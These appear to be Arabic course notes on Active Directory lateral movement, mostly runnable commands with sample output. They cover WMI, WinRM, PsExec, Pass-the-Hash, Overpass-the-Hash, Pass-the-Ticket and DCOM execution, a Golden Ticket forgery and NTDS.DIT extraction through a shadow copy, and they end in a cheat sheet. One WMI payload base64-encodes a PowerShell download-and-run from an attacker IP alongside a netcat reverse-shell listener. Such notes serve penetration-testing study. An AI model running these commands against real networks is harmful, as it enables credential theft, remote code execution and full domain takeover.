الحركة الجانبية هي التقنيات اللي المهاجم بيستخدمها عشان يتحرك تدريجيًا جوه الشبكة بعد ما ياخد Initial Access. الهدف: الوصول لأهداف عالية القيمة — Domain Controllers، سيرفرات ملفات، قواعد بيانات، أجهزة الأدمنز المميَّزة.
| التقنية | بيانات الاعتماد المستخدَمة | البروتوكول | درجة التخفّي |
|---|---|---|---|
| WMI Execution | Hash / Plaintext | RPC/DCOM (135 + dynamic) | متوسطة |
| WinRM / WinRS | Hash / Plaintext | HTTP/S (5985/5986) | متوسطة |
| PsExec | Hash / Plaintext | SMB (445) | منخفضة — بينشئ خدمة |
| Pass-the-Hash | NTLM Hash | SMB / NTLM | متوسطة |
| Overpass-the-Hash | NTLM Hash → TGT | Kerberos | عالية |
| Pass-the-Ticket | Kerberos TGS | Kerberos | عالية |
| DCOM | Hash / Plaintext | RPC (135) | عالية-متوسطة |
Win32_Process.Create() — تشغيل أي Process عن بُعد على الجهاز المستهدَفTCP 135 للاتصال الأولي عبر RPC + نطاق منافذ ديناميكي TCP 49152–65535 لتبادل البيانات. لازم حساب دومين عضو في Local Administrators على الهدف — حسابات الدومين بتتخطى قيود UAC البعيدة بعكس الحسابات المحلية.
$user = 'corp\jeff'
$pass = ConvertTo-SecureString 'Password1!' -AsPlainText -Force
$cred = New-Object PSCredential($user,$pass)
$opt = New-CimSessionOption -Protocol DCOM
$sess = New-CimSession -ComputerName FILES01 -Credential $cred -SessionOption $opt
Invoke-CimMethod -CimSession $sess -ClassName Win32_Process -MethodName Create `
-Arguments @{CommandLine='calc.exe'}
# ProcessId: 1234 ReturnValue: 0
الحمولات المعقدة فيها أحرف خاصة بتكسر تحليل الأوامر. Base64 بيحوّلها لسلسلة آمنة أبجدية-رقمية، وبيقلّل من الكشف بالتوقيع لأنه مفيش كلمات مفتاحية واضحة في سطر الأمر.
$cmd = 'IEX(New-Object Net.WebClient).DownloadString("http://192.168.118.4/payload.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$b64 = [Convert]::ToBase64String($bytes)
$payload = "powershell -enc $b64"
Invoke-CimMethod -CimSession $sess -ClassName Win32_Process -MethodName Create `
-Arguments @{CommandLine=$payload}
# على جهاز المهاجم:
nc -lvnp 4444
# Reverse shell received!
winrs (أداة سطر أوامر مباشرة) و PowerShell Remoting عبر Enter-PSSessionالمستخدم لازم يكون عضو في Local Administrators أو Remote Management Users على الهدف.
winrs -r:FILES01 -u:corp\jeff -p:Password1! cmd
C:\Windows\system32> hostname
FILES01
C:\Windows\system32> whoami
corp\jeff
# تنفيذ أمر محدد بدون شل تفاعلي:
winrs -r:FILES01 -u:corp\jeff -p:Password1! "ipconfig /all"
$user = 'corp\jeff'
$pass = ConvertTo-SecureString 'Password1!' -AsPlainText -Force
$cred = New-Object PSCredential($user,$pass)
$sess = New-PSSession -ComputerName FILES01 -Credential $cred
Enter-PSSession -Session $sess
[FILES01]: PS C:\> hostname
FILES01
[FILES01]: PS C:\> whoami
corp\jeff
استبدال cmd بحمولة Reverse Shell بـ PowerShell بيحوّل التنفيذ لوصول مستمر بدل أمر واحد.
ADMIN$ متاحة (افتراضيًا على أجهزة الدومين)، File and Printer Sharing مفعّلةPsExec بينسخ psexesvc.exe لمشاركة ADMIN$ (\\target\admin$) على الجهاز البعيد.
عبر Service Control Manager (SCM) باستخدام SMB.
الخدمة بتبدأ psexesvc.exe اللي بدوره بيشغّل البرنامج المطلوب كـ Child Process.
الاتصال بين المهاجم والعملية البعيدة بيتم عبر Named Pipes فوق SMB.
المهاجم بياخد Command Prompt شغّال على الجهاز البعيد بسياق المستخدم المحدَّد.
./PsExec64.exe -i \\WEB04 -u corp\jeffadmin -p 'BestPasswordEver!' cmd
Connecting to WEB04...
Starting PsExec service on WEB04...
C:\Windows\system32> hostname
WEB04
C:\Windows\system32> whoami
corp\jeffadmin
PsExec بينشئ خدمة — ده بيتسجّل في Windows Event 7045 (تثبيت خدمة جديدة)، وده أصلًا أكثر تقنية ضجيجًا في الموديول ده.
PtH بيشتغل بس مع حساب Administrator المحلي المدمج (RID 500) — قيود UAC البعيدة بتمنعه مع باقي حسابات الأدمن المحلية على ويندوز الحديثة. لكنه بيشتغل مع حسابات الدومين لأنها بتتخطّى هذه القيود. المبدأ الجوهري: NTLM بيشتغل زي ما هو مصمَّم — الهجوم بيستغل إن الهاش نفسه اتسرق، والهدف مش قادر يفرّق بين هاش مسروق وهاش شرعي.
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:NTLM_HASH \
Administrator@192.168.50.72
[*] Requesting shares on 192.168.50.72...
[*] Found writable share ADMIN$
[*] Uploading file ...
[*] Opening SVCManager on 192.168.50.72...
C:\Windows\system32> whoami
nt authority\system
الوصول كأدمن لجهاز عليه جلسة نشطة أو حديثة لمستخدم مميَّز (مثلًا jeffadmin).
استخدام Mimikatz (sekurlsa::logonpasswords) لتفريغ هاش jeffadmin من ذاكرة LSASS.
أمر sekurlsa::pth بيحقن الهاش وبيشغّل عملية جديدة بسياق أمان jeffadmin.
الوصول لأي مورد دومين (مشاركة ملفات مثلًا) — النظام تلقائيًا بيتواصل مع الـ KDC ويطلب TGT.
تشغيل klist للتأكد إن التذكرة محفوظة باسم jeffadmin@CORP.COM.
استخدام PsExec أو أدوات تانية — هتستخدم تذاكر Kerberos من الجلسة بدل NTLM.
privilege::debug
sekurlsa::logonpasswords
# لاحظ هاش NTLM الخاص بـ jeffadmin
sekurlsa::pth /user:jeffadmin /domain:corp.com /ntlm:2a944a7... /run:powershell
# نافذة PowerShell جديدة بسياق jeffadmin
ls \\FILES01\shares # أي مورد دومين
klist # jeffadmin@CORP.COM TGT cached!
استخدام BloodHound أو Get-NetSession لإيجاد أجهزة فيها جلسات نشطة لمستخدمين مميَّزين.
اختراق الجهاز اللي تذاكر المستخدم الهدف متخزّنة فيه جوه LSASS.
sekurlsa::tickets /export — بيحفظ كل التذاكر كملفات .kirbi.
اختيار TGS للخدمة المطلوبة (مثلًا CIFS لمشاركة ملفات، HTTP لتطبيق ويب).
kerberos::ptt [ticket.kirbi] — بيحقن التذكرة في جلسة تسجيل الدخول الحالية.
الاتصال بالخدمة — المصادقة هتستخدم التذكرة المحقونة وتظهر بهوية المستخدم الشرعي.
sekurlsa::tickets /export
ls *.kirbi
# [0;xxx]-0-0-40810000-dave@cifs-FILES04.kirbi
kerberos::ptt [0;xxx]-0-0-40810000-dave@cifs-FILES04.kirbi
# Injecting ticket: OK
klist
# dave@CORP.COM TGS for FILES04 present!
ls \\FILES04\Docshare # بقت متاحة!
ExecuteShellCommand بتشغّل أمر شل على الأوبجكت البعيد — تنفيذ كود عن بُعد عبر بنية تحتية ويندوز موثوقة، وبيشتغل جوه Session 0 (غير مرئي للمستخدم)$dcom = [System.Activator]::CreateInstance(
[type]::GetTypeFromProgID('MMC20.Application','192.168.50.72'))
$dcom.Document.ActiveView.ExecuteShellCommand('cmd',$null,'/c calc.exe','7')
# calc.exe بيشتغل على الجهاز البعيد (Session 0)
$dcom.Document.ActiveView.ExecuteShellCommand('powershell',$null,'-nop -w hidden -enc ','7')
nc -lvnp 4444 # استقبال الـ reverse shell
بيستخدم وظائف ويندوز الشرعية، مفيش Binaries خبيثة بتتنسخ للهدف، وكل النشاط عبر مكوّنات موقَّعة من مايكروسوفت. من منظور الدفاع: أحداث تفعيل DCOM في سجل Security (تفاصيل محدودة)، إنشاء عملية فرعية تحت MMC (Event ID 4688)، واتصال شبكي على المنفذ 135 + منفذ ديناميكي عالٍ. بيندمج مع الترافيك المؤسسي العادي لأن أدمنز الـ IT بيستخدموا أدوات DCOM روتينيًا.
لو المهاجم حصل على هاش KRBTGT: يقدر يزوّر TGTs لأي مستخدم — حتى غير موجودين فعليًا — ويقدر يخصّص أي عضويات مجموعات بما فيها Domain Admins. الدومين بيثق في التذكرة المزوَّرة لأنها موقَّعة بشكل صحيح.
# الحصول على هاش KRBTGT عبر DCSync:
lsadump::dcsync /user:corp\krbtgt
# Hash NTLM: 1693c6...
# الحصول على SID الدومين:
whoami /user
# S-1-5-21-1987370270-658905905-1781884369-1105
# SID الدومين = احذف الجزء الأخير (-1105)
# تزوير Golden Ticket وحقنه مباشرة:
kerberos::golden /user:jen /domain:corp.com \
/sid:S-1-5-21-1987370270-658905905-1781884369 \
/krbtgt:1693c6... /ptt
# jen بقى عنده تذكرة مزوَّرة بصلاحيات DA!
NTDS.DIT على الـ DC مقفولة عادة من نظام التشغيل ومينفعش تتنسخ مباشرة أثناء التشغيل — Shadow Copy بينشئ نسخة قابلة للقراءة بتتخطّى القفلC:\Windows\NTDS\ntds.dit على كل الـ Domain Controllersاستخدام vshadow.exe أو wmic لعمل نسخة ظل من قرص C: على الـ DC.
الوصول للـ Snapshot عبر مساره: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN.
نسخ ntds.dit من مسار الـ Shadow Copy لمكان قابل للكتابة (C:\Temp\ntds.dit).
reg.exe save HKLM\SYSTEM C:\Temp\SYSTEM — يحتوي مفتاح فك التشفير.
تهريب ntds.dit وملف SYSTEM لجهاز المهاجم للتحليل الأوفلاين.
استخدام impacket-secretsdump أوفلاين لفك تشفير NTDS.DIT واستخراج كل بيانات اعتماد الدومين.
vshadow.exe -nw -p C:
# لاحظ مسار الـ shadow device في المخرجات
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit C:\temp\ntds.dit
reg.exe save hklm\system C:\temp\SYSTEM
impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
# كل هاشات الدومين اتستخرجت!
في تقييم حقيقي، الترتيب المنطقي للتقنيات بيعتمد على مستوى بيانات الاعتماد المتاحة ودرجة التخفّي المطلوبة.
Invoke-CimMethod -CimSession $sess -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine='cmd.exe /c whoami'}
winrs -r:TARGET -u:DOMAIN\user -p:PASS cmd
New-PSSession -ComputerName TARGET -Credential $cred | Enter-PSSession
PsExec64.exe -i \\TARGET -u DOMAIN\user -p PASS cmd
impacket-psexec -hashes LM:NTLM Administrator@TARGET
impacket-wmiexec -hashes LM:NTLM DOMAIN/user@TARGET
privilege::debug
sekurlsa::logonpasswords
sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<hash> /run:powershell
sekurlsa::tickets /export
kerberos::ptt <ticket.kirbi>
lsadump::dcsync /user:corp\krbtgt
kerberos::golden /user:<user> /domain:<domain> /sid:<SID> /krbtgt:<hash> /ptt
vshadow.exe -nw -p C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\windows\ntds\ntds.dit C:\temp\
reg.exe save hklm\system C:\temp\SYSTEM
impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
| # | التحقق | الأمر | التقنية المناسبة |
|---|---|---|---|
| 1 | عندك NTLM hash لحساب أدمن محلي مدمج؟ | impacket-psexec -hashes | Pass-the-Hash |
| 2 | عندك هاش لحساب دومين مميَّز؟ | sekurlsa::pth | Overpass-the-Hash |
| 3 | فيه جلسة نشطة لمستخدم مميَّز على جهاز تحت سيطرتك؟ | sekurlsa::tickets /export | Pass-the-Ticket |
| 4 | عضو في Local Administrators على الهدف؟ | Invoke-CimMethod / winrs | WMI / WinRM |
| 5 | عندك هاش KRBTGT؟ | kerberos::golden | Golden Ticket |
الموديول ده غطّى الحركة الجانبية في Active Directory من أبسط أدواتها المدمجة (WMI، WinRM، PsExec) وصولًا لأقوى تقنيات إعادة استخدام بيانات الاعتماد (PtH، OPtH، PtT)، وانتهى بأخطر مرحلتين: Golden Ticket للاستمرارية، وShadow Copy لتفريغ الدومين بالكامل.
كل تقنيات الحركة الجانبية دي مبنية على فكرة واحدة: النظام بيثق في بيانات الاعتماد المقدَّمة — هاش، تذكرة، أو توكن — من غير ما يقدر يفرّق بينها وبين بيانات اعتماد سُرقت فعلًا. المختبر اللي بيفهم أي شكل من بيانات الاعتماد متاح له في كل لحظة، وأنسب تقنية لاستغلاله، هو اللي بيتحرك جوه الدومين بأقل أثر وأسرع وقت.
في الـ Engagement الحقيقي: ابدأ دايمًا بالتقنيات الأكثر تخفّيًا المتاحة حسب بيانات الاعتماد الموجودة (OPtH أو PtT لو عندك تذاكر أو هاشات دومين) → بعدين الأدوات المدمجة (WMI/WinRM/DCOM) لو محتاج تختبئ وسط ترافيك إداري → PsExec وPtH المباشر كخيار أخير أسرع لكنه أكثر ضجيجًا → وأخيرًا، لو وصلت لـ DA، نفّذ DCSync واحفظ KRBTGT، وفكّر في Shadow Copy لنسخة كاملة من بيانات الدومين. وثَّق كل خطوة، حتى الفاشلة.
نهاية نوتس الموديول الحادي والعشرين — Lateral Movement in Active Directory